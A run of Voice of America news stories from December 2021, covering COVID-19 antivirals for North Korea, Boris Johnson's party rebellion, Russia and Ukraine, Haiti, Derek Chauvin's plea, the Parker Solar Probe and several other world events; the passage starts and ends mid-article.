Its less trouble as far as logistics to send some tablets or medicine in general, said Nagi Shafik, former World Health Organization project manager in Pyongyang. It doesnt take the same effort as sending vaccines. Crucial tool The pills, most prominently those developed by Pfizer and Merck, could be a gamechanger in the pandemic battle, many experts say. The antiviral pills are expected to work against all variants of the virus, unlike many COVID-19 vaccines, which become less effective as the virus mutates. Pfizers pill seems most promising. On Tuesday, the company announced its final test results showing the drug reduces the risk of hospitalization and death by 88% if taken within five days of the onset of symptoms. Mercks pill has an effectiveness of around 30%. Both pills are expected to be widely available within weeks, first in wealthy countries that purchased the first batches. But crucially, Pfizer and Merck have signed licenses with the U.N.-backed Medicines Patent Pool (MPP) to allow cheaper generic versions to be distributed without royalties to dozens of poorer countries. Both licenses specifically mention North Korea. Although only the Merck product is currently available in a generic form, industry experts expect both pills will eventually be available for as little as $10 per treatment, compared to more than $500 that many governments are currently paying for the name brand versions. Challenges Delivering the antiviral pills to North Korea would face some of the same difficulties as the vaccine efforts. One of the main barriers has been North Koreas reluctance to sign a COVAX liability waiver in case of vaccine side effects. Pyongyang may have similar concerns about the pills, especially the Merck product. Some studies suggest the pill can insert errors in DNA, potentially harming sperm cells or a developing fetus. However, the Pfizer pill doesnt carry the same risk, since it uses a different technology. North Korea, which has an antiquated and uneven healthcare system, would also likely need more COVID-19 testing capacity to take advantage of the pills. North Korea has reported only about 700 COVID-19 tests per week to the World Health Organization a minuscule figure for a population of 25 million. It is unclear whether those figures represent only the tests conducted with equipment provided by the WHO. In August, North Korea said it has also developed its own COVID-19 tests. Shafik, former WHO project manager, told VOA it would not be difficult for the WHO to provide more test kits to North Korea, if needed. Advantages Shafik, who has worked for decades with North Korea, also said it may be easier for Pyongyang to accept the pills, which could be shipped to North Korea without foreign staff present. For nearly two years, North Korea has barred all foreigners and almost all international cargo out of fear of letting in the virus. However, the WHO as recently as October sent a shipment of medicine and other medical supplies to the North Korean port of Nampo, where it underwent a quarantine. According to Shafik, COVID-19 therapeutics could be sent in a similar manner. If you send medicine like antiviral tablets, like the Merck or Pfizer products, you dont have to send any foreigner, Shafik said. I would think that it would be a very appealing idea for the North Koreans actually. It would also be easier to transport and administer the pills once they arrived in North Korea. Unlike the most effective COVID-19 vaccines, which use advanced mRNA technology, the pills do not require a network of ultra-cold refrigerators and specialized delivery trucks. These [medications] can be stored on shelves. They dont require a cold chain like the vaccines. And it can be administered orally its just pills, said Kee Park, director of the Korean American Medical Associations North Korea program, a U.S.-based nonprofit organization. Who would be involved? It is not clear who would facilitate a shipment of the COVID-19 drugs. The WHOs Access to COVID-19 Tools Accelerator (ACT-A) initiative is perhaps the most obvious option. In an October budget request, ACT-A requested $3.5 billion to help supply COVID-19 therapeutics to countries in need for the next 12 months. But so far, it has only raised $40 million, according to Unitaid, an international agency working with ACT-A. Fully funding these efforts will be essential for new treatment options to reach their full potential in 2022, Janet Ginnard, Director of Strategy at Unitaid, told VOA. A broad range of other organizations could also spearhead such an effort, including governments, international agencies, NGOs, or for-profit companies, according to James Love, director of Knowledge Ecology International, a U.S.-based group that focuses on global access to medical products. But many groups may be deterred by U.S. sanctions, which prohibit a broad range of engagement with North Korea. While there is a process to obtain sanctions exemptions, it is lengthy and complicated, said Love. A lot of organizations just dont [apply for exemptions], because they simply dont have the internal staff or private counsel capacity. And it just makes it that much more expensive, he added. Another option: North Korea could eventually produce its own generic pills under the MPP licenses. Theyre not particularly difficult to manufacture. Its not very high-tech, Love said. Kee Park, the neurosurgeon who has made more than 20 trips to North Korea, agrees. As long as you have the information, you just have to make it and press it, he said. Will North Korea accept? Theres always the possibility that North Korea will reject the pills, since accepting them would undermine its own claim that COVID-19 has not entered its borders. But if North Korea eventually decides it must live with the virus rather than try to eradicate it, the drugs could play a key role. This is truly a therapeutic drug a drug cure, said Park. So, we need to figure out a way to equitably distribute these medicines. U.S. Secretary of State Antony Blinken postponed his scheduled visit to Thailand Wednesday because a member of the traveling U.S. press team tested positive for COVID-19. Blinken was set to leave Malaysia for Thailand Thursday as part of a U.S. effort to strengthen relations in a region where Chinas influence continues to grow. Wednesdays development forced the top U.S. diplomat to cut short his first Southeast Asia trip since U.S. President Joe Biden took office in January. The trip began with a visit to the Indonesian capital of Jakarta. Blinken informed Thai Deputy Prime Minister and Foreign Minister Don Pramudwinai of his decision Wednesday not to visit as scheduled, according to U.S. State Department spokesman Ned Price. He explained that, in order to mitigate the risk of the spread of COVID-19 and to prioritize the health and safety of the U.S. traveling party and those they would otherwise come into contact with, the Secretary would be returning to Washington, D.C. out of an abundance of caution, Price said in a statement. Price said Blinken invited Thailands foreign minister to visit Washington at the earliest opportunity and noted that he looked forward to traveling to Thailand as soon as possible. The U.S. embassy in Kuala Lumpur said in a statement it informed the Malaysian government of the infection and confirmed the other members of the U.S. traveling group tested negative when they arrived in Malaysia. VOA State Department correspondent Nike Ching contributed to this report from Kuala Lumpur. COVID-19 was first discovered in China, which became the first country to produce a vaccine. Sinovac and Sinopharm are Chinas leading vaccine makers, and both manufacture World Health Organization-approved COVID-19 vaccines. Whats the difference between the two companies? Sinovac is a privately owned company, while Sinopharm is government-run. Scientists at both companies use the same method to make both vaccines. How are the vaccines made? Dr. Andrea Cox, a professor at the Johns Hopkins University School of Medicine with a special interest in immunization, has provided expert advice to VOA about COVID-19 vaccines. Cox told VOA that scientists take a type of bacteria or in this case, a virus and inactivate or kill it. They then inject it into people. Because the virus is dead, it cant infect anyone. Then, if a vaccinated person is exposed to the live virus, that persons body recognizes it and fights it off. Are these vaccines effective? According to Cox, the Chinese vaccines are not as effective as the Moderna, Pfizer-BioNTech, AstraZeneca and Johnson & Johnson vaccines, so they arent the preferred jabs in countries that have access to the others. The Sinovac vaccine is about 50% effective, while Sinopharms effectiveness is higher, at 78%, WHO reported. Two doses are needed for both vaccines. Vaccines are often mixed with an adjuvant, a harmless ingredient such as aluminum salts or a bubble of fat, to make them more effective. On its website, the Centers for Disease Control and Prevention says aluminum is one of the most common metals found in nature and is present in air, food, and water, so its not a foreign or dangerous ingredient, although anti-vax groups claim it is. For example, Sinovac uses aluminum hydroxide, an ingredient also used to treat an upset stomach. Sinopharm also uses an adjuvant in its vaccine. Do the vaccines have advantages? The Sinovac and Sinopharm vaccines have a major advantage over other COVID-19 vaccines: They are easy to store and need only normal refrigeration. Thats a huge plus in getting a COVID-19 vaccine to people in areas where there is little or no refrigeration. In an ideal world, Cox said, we wouldnt need them. But at this point, we need a way to get the world vaccinated as rapidly and effectively as possible, and it may require a use of vaccines that we know are not as good but are better than not being vaccinated." What will end the pandemic? WHO says safe and effective vaccines are a game-changing tool, but for now and the foreseeable future, it recommends continued mask wearing, frequent hand-washing, good indoor ventilation, physical distancing, avoiding crowds and, above all, getting vaccinated when you can with whatever vaccine is available. Having the worlds best scientists and I do really mean the worlds best scientists thinking about how to make effective vaccines and deliver them to a global population is critical, Cox said. And the more data we get on these vaccines, the more we will be able to select out vaccines that do protect the largest number of the worlds population. As WHO says: Its not vaccines that will stop the pandemic, its vaccination. Almost 100 Conservative lawmakers voted Tuesday against new coronavirus restrictions, dealing a major blow to British Prime Minister Boris Johnson's authority and raising questions about his leadership. After a day of frenzied failed lobbying, Johnson was handed the biggest rebellion against his government so far by his party over measures he said were necessary to curb the spread of the new omicron variant. The new rules, which included ordering people to wear masks in public places and use COVID-19 passes for some venues, passed largely because of the main opposition Labour Party. But the revolt piles pressure on Johnson, already under fire over scandals such as reported parties in his Downing Street office last year when Britain was in a COVID-19 lockdown and a pricey refurbishment of his apartment. Rebelling lawmakers said the vote was a warning shot that he needed to change how the government was operating or he would face a leadership challenge. Some 99 Conservatives opposed plans for the COVID-19 passes, a much higher number of rebels than was expected. Originally the official figure was put at 98, but the number was later revised upward. Among those voting against the government was lawmaker Louie French who was elected as a Conservative Member of Parliament (MP) at the start of the month, while media reported that former Prime Minister Theresa May was among 17 others who abstained. Many Conservatives say some of the new measures are draconian, with several questioning the introduction of a certificate of vaccination or proof of a negative COVID-19 test to enter some venues, such as nightclubs. Others used the votes as an opportunity to vent their anger at Johnson, believing the man who helped the Conservatives win a large majority at a 2019 election is squandering the party's successes by self-inflicted missteps and gaffes. But despite the rumblings of discontent, Conservative Party insiders say there is not enough of a groundswell against Johnson to dislodge him now, although they hope the vote will be a "wake-up call" for the prime minister to reset his agenda. "He's got to now be in some danger," Conservative lawmaker Geoffrey Clifton-Brown told Sky News. "And he's got to realize that because if he doesn't realize that, then he will be in much bigger danger ... I'm still backing him. But he's got to change." 'Huge spike' Britain reported 59,610 new COVID-19 infections Tuesday, the highest figure since early January and the fifth highest recorded since the outbreak of the pandemic in March last year. More than 5,300 cases of omicron have been recorded, with 10 people hospitalized. One person has died after contracting the variant, which is set to become the dominant strain in the capital London. Before the vote, the government had mounted a campaign to keep lawmakers in check, with Johnson warning his ministers there was a "huge spike" in omicron cases heading Britain's way, and that the measures were needed to protect people. Ministers tried to win over the Conservative rebels, noting that people who have not had two vaccinations can instead offer proof of a negative lateral flow test to gain access to indoor venues of more than 500 people. Health minister Sajid Javid told lawmakers he firmly believed in "individual liberty" but that "the responsible decision to take is ... to move to plan B in England." But their arguments fell on deaf ears. In addition to the 99 Conservatives who voted against the passes, 40 voted against expanding the requirement for mask wearing. "I am sure that the prime minister will understand the strength of feeling within the party about the constraint of liberties," Conservative former minister David Jones told Reuters. "He is a libertarian himself and I have no doubt that he will listen to the message from his party." A U.N. Human Rights Council debate on Ukraine Wednesday drifted into criticism of Russias large-scale military buildup along the Ukrainian border. U.S. and British representatives voiced support for Ukraine, while a Russian diplomat completely ignored the issue. The debate in Geneva was called to discuss the human rights situation in Ukraine. The U.N. Deputy High Commissioner for Human Rights, Nada Al-Nashif, presented a carefully balanced report on civic space and fundamental freedoms in the country. She criticized the Ukrainian government for restricting the free expression of critical opinion in the media as well as attacks against opposition political parties. She then pivoted to the self-proclaimed republics in eastern Ukraine, backed by the Russian government. She criticized the lack of freedom of expression and condemned the arbitrary detention of social media users for expressing their views online. Her most vociferous criticisms were aimed at Russia and its illegal occupation of the Autonomous Republic of Crimea and the city of Sevastopol. We continued to document violations of international human rights and international humanitarian law. Journalists who expressed dissenting or critical views were subjected to surveillance, criminal prosecution, arrests, prohibition of entry into Crimea and deportation from Crimea, she said. Al-Nashif did not touch upon the buildup of about 100,000 Russian troops amassed at the Ukrainian border. But that topic stimulated a heated debate among nations attending the council session. Britains ambassador to the U.N. in Geneva, Simon Manley, said his country was monitoring the situation in Ukraine closely. Russias activity poses a threat to Ukraines and international security. We stand with our allies to defend the frontiers of freedom. We call on Russia to put an end to this distressing and destabilizing behavior, and to respect and protect the human rights of people living in illegally annexed Crimea and non-government controlled eastern Ukraine, Manley expressed. Ukraines Ambassador to the U.N. in Geneva, Yevheniia Filipenko, echoed these fears. If Russia does not de-escalate its current large-scale military build-up along the Ukrainian border, the impact of possible invasion will have disastrous consequences for security, humanitarian, and human rights situation in my country and well beyond, Filipenko noted. U.S. human rights officer Patrick Elliot gave assurances of Washingtons unwavering support of Ukraines sovereignty, independence, and territorial integrity. First Secretary of the Russian Permanent Mission in Geneva, Yaroslav Eremin, did not respond to any of these criticisms. Instead, he expressed concern about Ukraines closure of Russias language channels and the stigmatization of people working for Russian language media. He urged the Office of the High Commissioner for Human Rights to stop including in its reports, matters related to Russian regions. Belarus was the only country to ally itself with Russia. European Commission President Ursula Von der Leyen Wednesday warned Russia it could face unprecedented measures if it does not de-escalate its aggressive posture against Ukraine. Speaking to the European Parliament in Strasbourg, France, Von der Leyen noted Russias recent buildup of troops and equipment near its border with Ukraine. She reiterated the European Unions unwavering support for Ukraines sovereignty and territorial integrity. Although the EU already has a set of economic sanctions in place, she said, any further aggression will have massive costs for Russia. She said the response may be a robust scaling up of those sanctions, adding that the EU is ready to take additional unprecedented measures with serious consequences for Russia. Von der Leyen urged Russia to de-escalate, to pursue diplomatic channels and to abide by its international commitments. Russia has maintained that the troops and equipment at the border are there for defensive purposes only and denied intelligence reports indicating it is planning an invasion. Von der Leyen also criticized what she described as blatant efforts by Moscow to intimidate the former Soviet republic, Moldova, by squeezing its gas supplies and raising prices. Russia has denied those claims. Also on Wednesday, Von der Leyen held a news briefing with Moldovas reformist president, Maia Sandu, and pledged nearly $68 million in funding to help offset the rising fuel prices the nation is facing. In an interview Tuesday, Sandu told the Reuters news agency she would like Moldova to join the EU and was taking part in the blocs Eastern Partnership Summit in Brussels Wednesday. Since the nation won its independence from the Soviet Union in 1991, pro-Russian and pro-EU factions in Moldova have been vying for control. Some information for this report was provided by The Associated Press, Reuters, and Agence France-Presse. Haiti's former Foreign Minister Claude Joseph is accusing the government of lacking the political will to arrest those responsible for the slaying of President Jovenel Moise. Joseph made the accusation Tuesday while exiting a courthouse in Port-au-Prince, where Judge Garry Orelien had summoned him to answer questions in connection with the slaying. The visit was brief; the judge announced he was not ready to hear Josephs deposition. Joseph told VOA he would answer the judges questions anytime, adding that Orelien should also summon all those who were implicated in the alleged assassination plot, including those named in a December 12 New York Times article containing new revelations about Moises case. We hope this is a serious investigation, Joseph told VOA. And if this is a serious investigation, we invite the judge to summon all those who are implicated as well as those named in The New York Times article. According to The New York Times, Moise may have been killed because he had compiled a list of Haitian officials and businessmen who were involved in illegal drug trafficking as well as arms trafficking. The Times reported that Moise intended to hand the list of names over to the U.S. Drug Enforcement Administration. VOA Creole contacted the prime ministers office for comment Tuesday on the allegation but did not receive a response. The Haitian National Police have arrested 40 suspects in connection with the case, including former Colombian army soldiers, Haitian Americans and Haitian police officers. Joseph told VOA Tuesday that the prime minister had done nothing to move forward with the extradition from Turkey of Samir Handal, a wealthy Haitian businessman who was arrested at the Istanbul airport on November 16 by Turkish authorities. Interpol had posted a Red Alert for Handal. Joseph said he had personally contacted the Turkish foreign minister to request Handal be arrested upon arrival. The businessman is currently detained in a Turkish jail. What I can tell you is that even though Im no longer part of the government, they have done everything they can to distance me from this. I dont regret anything. I will continue fighting. On the 19th, I received from Turkey a request for a series of documents they need so they can return Samir Handal to us, Joseph told VOA. After less than 72 hours, I wrote the minister of justice [asking him] to do everything necessary to send those documents to Turkey. Up until today, there has been no political will to arrest those responsible. Joseph added that The government led by Ariel Henry has made no effort to bring Samir Handal back to Haiti for questioning. That is what I call political will. After Handals arrest, the Haitian National Police announced they would send three agents to Turkey to take custody of Handal and bring him back to Haiti for questioning. So far, that has not happened. Joseph also decried the fact the government did nothing to follow up on his effort to have Jamaica extradite to Haiti a Colombian suspect arrested for illegal entry. The Haitian police issued an arrest warrant for Jose Antonio Palacios Palacios, a former Colombian military member, in connection with Moise's death. Jamaica said it would transfer Palacios to Colombian custody because the island does not have an extradition treaty with Haiti. No effort has been made to request the transfer of Palacios Palacios, which I initiated, Joseph told VOA. Prime Minister Ariel Henry also has been linked to the Moise case. A judge announced that phone records obtained by law enforcement officials indicated he had spoken to a key suspect in the crime multiple times on the day of Moises death. In an interview with the Associated Press, Henry denied the accusation. This story originated in VOAs Creole Service. Derek Chauvin, the former police officer convicted in the May 2020 murder of George Floyd pleaded guilty Wednesday to federal charges of violating Floyds civil rights. Chauvin was convicted of second-degree murder, third-degree murder and second-degree manslaughter in Floyds death on May 25 of last year in Minnesotas Fourth Judicial District Court. In June he was sentenced to 22 1/2 years in prison while also facing separate federal civil rights charges in connection with Floyd's death. Chauvins guilty plea means he will not go to trial in federal court next month, but he could still spend additional time in prison when a judge sentences him on the civil rights violations at a later date. Floyd, a Black man, was killed when Chauvin, who is white, kneeled on his neck for more than nine minutes as he was handcuffed, not resisting and repeatedly saying that he could not breathe. Floyd's death, captured on cellphone video by a bystander, inspired global protests against institutional racism and police practices, particularly in the United States. Chauvin pleaded guilty Wednesday in the U.S. District Court in St. Paul, Minnesota. to two counts of depriving Floyd of his rights by kneeling on his neck and then failing to provide medical care. Chauvin changed his plea to guilty as part of an agreement with prosecutors to also plead guilty to violating the rights of a then-14-year-old boy, also African American, during another troublesome arrest in 2017. Chauvin held the boy by the throat, hit him in the head with a flashlight and pinned his knee on the boys neck and upper back while he was lying face down, handcuffed and not resisting. Defendants in the midwestern state of Minnesota with good behavior serve two-thirds of their sentence in prison and one-third on supervised release. That formula projects Chauvin would serve 15 years in prison on the state charges and 7 1/2 years on parole. Considering Wednesdays plea agreement, Chauvin could serve from 27 to more than 33 years in prison on the federal charges under sentencing guidelines, according to Mark Osler, a professor at the University of St. Thomas School of Law in Minneapolis. Three other former Minneapolis policemen, Thomas Lane, J. Kueng and Tou Thao, are scheduled to go on trial early next year after being indicted on the federal charges with Chauvin earlier this year. Some information for this report was provided by The Associated Press and Reuters. A freelance video journalist accredited to The Associated Press in Ethiopia has been detained by police in the capital, Addis Ababa, the news organization said Wednesday. Amir Aman Kiyaro was detained under the country's new war-related state of emergency powers on November 28 after returning home from a reporting trip. He has not been charged. Officials with the Ethiopian Media Authority, the prime minister's office, the Foreign Ministry and other government offices have not responded to repeated requests from the AP for information about him since his detention. State media on Wednesday reported his detention, citing federal police, and said he was accused of "serving the purposes" of a terrorist group by interviewing it. The report said local journalists Thomas Engida and Addisu Muluneh also were detained. Federal police inspector Tesfaye Olani told state media that the journalists violated the state of emergency law and Ethiopia's anti-terrorism law and the violations could lead to seven to 15 years behind bars. In a statement, AP Executive Editor Julie Pace urged that Kiyaro be freed: "The Associated Press is extremely concerned that AP freelancer Amir Aman Kiyaro has been detained by the Ethiopian government, accused of promoting terrorism. These are baseless allegations. Kiyaro is an independent journalist who has done important work in Ethiopia on all sides of the conflict. We call on the Ethiopian government to release Kiyaro immediately." She said the AP until now had chosen to keep the case out of the public eye while the news organization worked on potential diplomatic channels. Ethiopia's government in November declared a state of emergency, which includes sweeping powers of detention, after a year of war as rival forces from the country's northern Tigray region in collaboration with the Oromo Liberation Army moved closer to the capital. The government this year declared both the Tigray forces and the OLA as terrorist groups. Tens of thousands of people have been killed in the war that erupted in November 2020. The Tigray forces say they are pressuring the government to lift a deadly blockade on their region but also want Prime Minister Abiy Ahmed to step aside. Mediation efforts by the United States and African Union for a cease-fire have made little progress. Kiyaro has covered both sides of the war this year for the AP, including groundbreaking reporting on the alleged mass killings by Tigray forces in the community of Chenna Teklehaymanot after the fighters in recent months moved into Ethiopia's neighboring Amhara region. In late November, the country's state of emergency command sought to restrict media reporting on the war, forbidding the sharing of nonofficial information on "military-related movements, battlefront results and situations." Foreign media have been barred from Tigray for much of the war, with communications links severed. The government-created Ethiopian Human Rights Commission on Wednesday said it was monitoring the situation of four other local journalists detained in recent weeks. Last month, it said it was alarmed by the conditions of the detentions of perhaps thousands of people who have been swept up under the state of emergency. It urged authorities to immediately release people detained without "evidence establishing reasonable grounds for suspicion." Spokespeople for the commission did not immediately respond to a request for comment on Kiyaro. "Ethiopia has again become one of the worst jailers of journalists in sub-Saharan Africa," the Committee to Protect Journalists said in a statement last week, describing the media environment as "hostile" three years after the prime minister took office and his government freed journalists as part of sweeping political reforms that have since been eroded. French troops have left a military base in Timbuktu, Mali, where they were posted since liberating the area from Islamist militants in 2013. French forces have been gradually withdrawing from the region, despite ongoing fighting with militants that threatens stability. Locals are expressing unease about the French troops departure. On Tuesday, French troops left their military base in Timbuktu as part of a reorganization of Operation Barkhane announced by French president Emmanuel Macron in June. The Kidal and Tessalit bases were handed over to the Malian army in October and November, respectively. The French troops first set up a base here when the city, along with several others in northern Mali, was liberated in 2013 from Islamist militants. Then-French president Francois Hollande visited Timbuktu the day after its liberation and was welcomed by residents. Salem Ould El Hadj, a historian and a teacher at Timbuktus famous Ahmed Baba Institute, spoke from a public square by Timbuktus Sankore mosque about his experience when the city was liberated. We needed it, he says, and youve seen how the population welcomed them with widespread enthusiasm. An unabashed fervor. Its true. I was in Bamako, he says, and its thanks to [the French intervention] that I came back to Timbuktu. Since 2013, Mali has weathered two more coup detats. Violence and killings have increased and moved further south into the countrys center. Large protests in Bamako have called for the departure of French troops, with popular sentiment in the capital favoring a potential Russian intervention in Mali. Mohamed El Bashir, president of Timbuktus municipal youth council, says that withdrawing Barkhane troops from Timbuktu will make the region less secure. Its not the same feeling here, he says, because the people in Bamako dont live what were living here in Timbuktu. What were living here, people in Bamako arent living. They should come here, and we will go to Bamako, and they can ask that Barkhane leaves, he says, then they will understand. Thats the reality. France has been gradually retiring its troops from military bases in northern Mali and moving them to Gao, which will now serve as Operation Barkhanes northern base. General Etienne du Peyroux, Barkhanes representative in Mali, says that the handing over of Timbuktus military base is not an abandonment. He says, this is ultimately the goal of Operation Barkhane, to allow Mali to take its destiny in its hands. After a phase of preparation, after a phase of ramping up, after a training phase. And always in partnership, which will be different, with less of a physical presence but just as real, he says. At a ceremony on the military base yesterday, the French flag was lowered, the Malian flag raised, and a symbolic key to the base handed over from the French military to the Malian army. Malian military authorities declined to comment to journalists, who were asked to leave the ceremony before their commander spoke to Malian troops. French armored vehicles exited the base for the last time. At the airport, French troops could be seen boarding a military plane headed for Gao. The fate of Timbuktu, once a symbol of Malis liberation from extremist rule, now rests in the hands of Malis army. Germany is expelling two Russian diplomats over what a German court said was a Russian-ordered killing of a German citizen of Chechen origin in Berlin in 2019. In the high-profile incident, Zelimkhan "Tornike" Khangoshvili was gunned down in a Berlin park. On Wednesday, a German court found Russian Vadim Krasikov guilty of murder and sentenced him to life imprisonment, saying he was working for Russian authorities who had provided him with a false identity and other resources. Calling the murder a "grave breach of German law and the sovereignty of the Federal Republic of Germany," Foreign Minister Annalena Baerbock summoned the Russian ambassador to discuss the case and expel the two diplomats. In 2004, Khangoshvili was involved in an attack on a Russian police station that left police and civilians dead. "There is no doubt that Khangoshvili bears responsibility for people's deaths," Judge Olaf Arnoldi said, adding that Russian authorities wanted "revenge and retribution" for the attack. "Khangoshvili had given up the fight against the Russian Federation years before. He had not held a weapon in his hands since 2008," Arnoldi said. "This was not an act of self-defense by Russia. This was and is nothing other than state terrorism." In December 2019, Russian President Vladimir Putin called Khangoshvili a "terrorist and murderer." While living in Georgia in 2015, Khangoshvili survived an assassination attempt. He later moved to Ukraine and then to Berlin. Russia's ambassador in Berlin denied Russian involvement in Khangoshvili's murder. "We consider the verdict an unobjective, politically motivated decision that seriously aggravates already complicated Russian-German relations," Russian Ambassador Sergei Nechayev said, adding it was "an unfriendly act that won't go unanswered." "The absurd notion about Russia's involvement in the wrongdoing during the entire course of the trial was being methodically imposed on the public, was being weaved into the general anti-Russian background, but wasn't in the end proved with convincing evidence," he said. Some information in this report comes from Reuters and The Associated Press. Haitians began three days of mourning Tuesday for the victims of a deadly petroleum truck explosion in the northern city of Cap Haitien. Pierrot Degaul Augustin, a Cap Haitien government official, told VOA an accident sparked the disaster. "Information we received indicates the driver of a trailer truck transporting petroleum swerved to avoid hitting a motorcycle and lost control of the vehicle, ending up in a canal," he said. "When the truck overturned, gas spilled out, and people ran to collect what they could. That's when it exploded, engulfing them in fire." More than 60 people died, and dozens of others were injured. Prime Minister Ariel Henry traveled from the capital, Port-au-Prince, to Cap Haitien around midday Tuesday to survey the damage and visit the wounded at a local hospital. Henry posted photos of his visit on his official Twitter account and announced that emergency funds were being made available to the city. "After the accident, the government and the local authorities have been mobilized. Emergency funds have been disbursed. We will take other measures to organize national funerals for the #victims," the prime minister tweeted. Yvrose Pierre, president of the municipal commission of Cap Haitien, told VOA the wounded are being treated at the Justinien University Hospital, where there is an urgent need for medical supplies. "The doctor in charge said he needs IVs, gauze and injections. So, anyone who is in a position to help out, please do so, to allow the doctors to care for all the burn victims," she said. Video captured by VOA reporters at the scene in the early afternoon showed workers loading the bodies of victims, draped in white sheets, into a truck, while hundreds of Cap Haitien residents watched in horror. At the United Nations, spokesperson Stephane Dujarric spoke about the tragedy. "We join our colleagues there [in Haiti] to express our deepest condolences and solidarity with the Haitian people, following the gas tanker explosion overnight in the northern city of Cap Haitien," he said. Dujarric added that a U.N. team had been mobilized to assist national officials responding to the accident. Haiti is experiencing an acute gas shortage, sparked by gangs who blocked the main gas terminals in the capital, preventing trucks to load up and deliver petroleum to cities nationwide. Gang leader Jimmy Cherizier lifted the blockade in mid-November to allow gas to be delivered. Haitians are heavily reliant on petroleum products for electricity, cooking and transportation. Last week, Prime Minister Henry announced the government could no longer afford to subsidize the price of gas and would be raising the price. The announcement sparked outrage nationwide and a large protest Friday. The U.S. space agency NASA says its Parker Solar Probe this week became the first spacecraft to enter the Suns atmosphere, also known as the corona. The space agency announced the news Tuesday at a press conference during a meeting of the American Geophysical Union in New Orleans. In a statement, NASA scientists said the probe actually entered the Suns corona April 18, but it took until now to get the data and examine it to confirm it had accomplished its mission. NASA said while the Sun doesnt have a solid surface, it does have a superheated corona made of solar material bound to the Sun by gravity and magnetic forces. The point at which those forces are too weak to contain material ejected from the sun is considered the edge of the corona, an area scientists call the Alfven critical surface. NASA says the Parker probe crossed this boundry about 13 million kilometers above the surface of the sun. Until they were able to examine the data from the probe, scientists were not exactly sure where the area was. The scientists say during the flyby, which lasted only a few hours, the solar probe passed into and out of the corona several times. The data it gathered in doing so proved what some had predicted that the Alfven critical surface isnt shaped like a smooth ball, but has it has spikes and valleys that wrinkle the surface. The Parker Solar Probe was launched in 2018 and was intended to exactly what it is doing: flying closer to the sun than any spacecraft has done before. NASA scientists compare what the probe has accomplished to landing on the moon. As the mission continues, the agency says, it will help scientists uncover critical information about Earths closest star and its influence on the solar system. A paper on the achievement was also published Tuesday in the scientific journal Physical Review Letters. Some information for this report was provided by the Associated Press. The disfiguring disease noma, found mainly in poor areas of sub-Saharan Africa that lack health care, kills 90% of victims, most of them children, when left untreated. Noma is preventable, and to that end, aid groups are urging the World Health Organization to add Noma to its list of neglected tropical diseases. Eight-year-old Amadou Compaore recently recovered from noma, a little-known tropical disease. Although noma has scarred his face, Compaore, relatively speaking, is one of the lucky ones. If noma is diagnosed within the first few weeks of infection, it is easily treatable with a course of antibiotics. His father, Sibiri Compaore, told VOA, he noticed the disease in the run-up to Christmas. To begin with, Amadou said his mouth ached to the point where he couldnt eat anymore. He even had great difficulty drinking sachets of water. Compaore senior took his son to the nearest city, Kaya, about 25 kilometers away, where medical staff were able to identify the disease thanks to awareness building by the Swiss non-governmental organization Sentinelles. Sidi Omar Boena is a nurse at a Sentinelles medical center in Ouagadougou, specializing in the treatment of noma. He says most health workers in Burkina Faso have not heard of the disease noma and that diagnosing it in people 400 to 500 kilometers from Ouagadougou is very difficult. He says that he is sometimes forced to diagnose noma with photos sent to him via WhatsApp. Odette Serene, who also suffered from noma, now receives regular follow-up treatment at the Sentinelles clinic, including support in finding a job. She now works as a tailor, but she says people still laugh at her, which makes her sad. She says Boena has done a lot to take care of her, however. Noma is just one of many illnesses currently missing from the World Health Organizations list of neglected tropical diseases. Doctors Without Borders, a medical NGO, is running a campaign to have noma added to the WHO list, which already includes diseases like rabies and dengue fever. Of course, at the community level, there is discrimination affecting the patients, and so every time there is a case, we might not even be aware because patients are hidden by the communities or they are dying. More than 90% of people are estimated to die, Jeantet said. The WHO says when it adds diseases to the list, factors like social stigma and death rates are taken into consideration. The WHO says resources are limited, so some diseases have to be left off. WHO press officer Ashok Moloo explains the effect of adding a disease to the list. It really brings the disease or the condition to another level ... It also adds to the advocacy part of the disease, awareness creation and also resources, Moloo points out. As for Amadou Compaore, he says what the doctors have done to help him has been an inspiration. He told VOA he wants to become a doctor, to treat people so that they can be cured, like him. The WHO plans to make possible new additions to its neglected tropical disease list in 2023. It remains to be seen if noma will be among them. The disfiguring disease Noma, found mainly in poor areas of sub-Saharan Africa that lack health care, kills 90% of victims, most of them children, when left untreated. Noma is preventable with awareness, and to that end, aid groups are urging the World Health Organization to add Noma to its list of neglected tropical diseases. Henry Wilkins reports from Kongoussi, Burkina Faso. Russian journalism experienced extreme highs and lows in 2021. On the plus side, a Nobel Peace Prize for newspaper editor Dmitry Muratov. But the downside saw an escalating government crackdown on independent media. News organizations and individual reporters were declared "foreign agents" and "undesirable elements," while some journalists went into exile. Congolese rumba is among at least nine new entries on UNESCOs representative list of the intangible cultural heritage of humanity. UNESCO is making its 2021 designations this week, recognizing cultural heritage ranging from Arabic calligraphy to falconry to Nordic clinker boat traditions. Congolese rumba was named to the list Tuesday. The Democratic Republic of Congo and the Republic of Congo jointly bid for UNESCO to recognize the music and dance, which helped energize people in those countries to shake off colonial rule by Belgium and France, respectively, in Congo, in 1960. UNESCOs director general, Audrey Azoulay, summarized rumbas significance. In the 20th century, the Congolese rumba was a symbol for the fight for emancipation, dignity and political independence on the African continent, she said in a statement shared with VOA. Therefore, the inscription of this music is not just the recognition of a cultural practice but a historic decision. It underlines the political nature of this music, which inspires so many artists all around the world today. Through its ongoing list, UNESCO aims to safeguard cultural practices and ensure that theyre handed down through generations. The list of new entries includes: Pasillo song and poetry from Ecuador. Pottery-related practices and knowledge of Perus Awajun people. Dances and other expression affiliated with Panamas Corpus Christi festivities. Venezuelas festive cycle around worship of St. John the Baptist. Bolivias Grand Festival of Tarija. After almost two years of strict COVID-19 controls, Australia has reopened its borders to skilled migrants, students and backpackers. Australia banned most foreign nationals in March 2020 under some of the worlds toughest coronavirus restrictions. Holders of various working and student visas are now allowed into Australia without requiring an exemption if they are fully vaccinated. Japanese and South Korean nationals are also permitted into the country. Australia had already relaxed travel restrictions to allow the return of citizens, permanent residents and their families. All arrivals will have to follow the quarantine rules of the state or territory to which they travel. There are no entry restrictions on travelers entering the states of New South Wales and Victoria. However, international passengers need government approval to travel to Western Australia. Industries across the country from agriculture to hospitality that rely on short term workers have been struggling to find staff since the country closed its borders in March 2020. They hope the reopening of Australias international borders will ease the worker shortage. Universities are also preparing to welcome back overseas students. Yongxin Lyu has arrived from Hong Kong to study at the University of New South Wales. It is actually a mixed feeling of (it being) very exciting but also because everything is new here and this is my first time to live in a foreign country. So, a little bit nervous, Lyu said. It is also so-called Freedom Day for the unvaccinated in the state of New South Wales, where many restrictions will end for those who have not been inoculated. New South 